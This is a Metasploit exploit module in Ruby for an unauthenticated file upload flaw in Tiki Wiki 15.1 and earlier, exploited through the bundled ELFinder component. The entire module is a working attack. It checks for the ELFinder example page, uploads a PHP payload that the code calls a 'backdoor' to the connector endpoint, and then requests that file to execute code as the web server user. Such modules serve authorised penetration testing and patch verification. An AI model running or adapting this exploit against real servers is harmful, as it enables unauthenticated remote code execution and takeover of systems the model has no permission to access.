Tiki Wiki Unauthenticated File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Tiki Wiki Unauthenticated File Upload Vulnerability',
        'Description' => %q{
          This module exploits a file upload vulnerability in Tiki Wiki <= 15.1
          which could be abused to allow unauthenticated users to execute arbitrary code
          under the context of the web server user.

          The issue comes with one of the 3rd party components. Name of that component is
          ELFinder -version 2.0-. This component comes with default example page which
          demonstrates file operations such as upload, remove, rename, create directory etc.
          Default configuration does not force validations such as file extension, content-type etc.
          Thus, unauthenticated user can upload PHP file.

          The exploit has been tested on Debian 8.x 64-bit and Tiki Wiki 15.1.
        },
        'Author' => [
          'Mehmet Ince <[email protected]>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2025-34111' ],
          [ 'URL', 'https://www.mehmetince.net/exploit/tiki-wiki-unauthenticated-file-upload-vulnerability' ],
          [ 'URL', 'https://tiki.org/article434-Security-update-Tiki-15-2-Tiki-14-4-and-Tiki-12-9-released' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'DisableNops' => true
        },
        'Targets' => [ ['Automatic', {}] ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2016-07-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Installed path of Tiki Wiki", "/tiki/"])
      ]
    )
  end

  def check
    url = normalize_uri(target_uri.path, "vendor_extra/elfinder/elfinder.html")
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => url
    )

    if res && res.code == 200
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end

    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def exploit
    filename = rand_text_alpha(8 + rand(4)) + '.php'
    register_file_for_cleanup(filename)

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="cmd"')
    data.add_part('l1_Lw', nil, nil, 'form-data; name="target"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"upload[]\"; filename=\"#{filename}\"")

    print_status("Uploading backdoor file: #{filename}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/php/connector.minimal.php"),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s
    })

    if res && res.code == 200
      print_good("Backdoor successfully created.")
    else
      fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
    end

    print_status("Trigging the exploit...")
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "vendor_extra/elfinder/files/" + filename)
    }, 5)
  end
end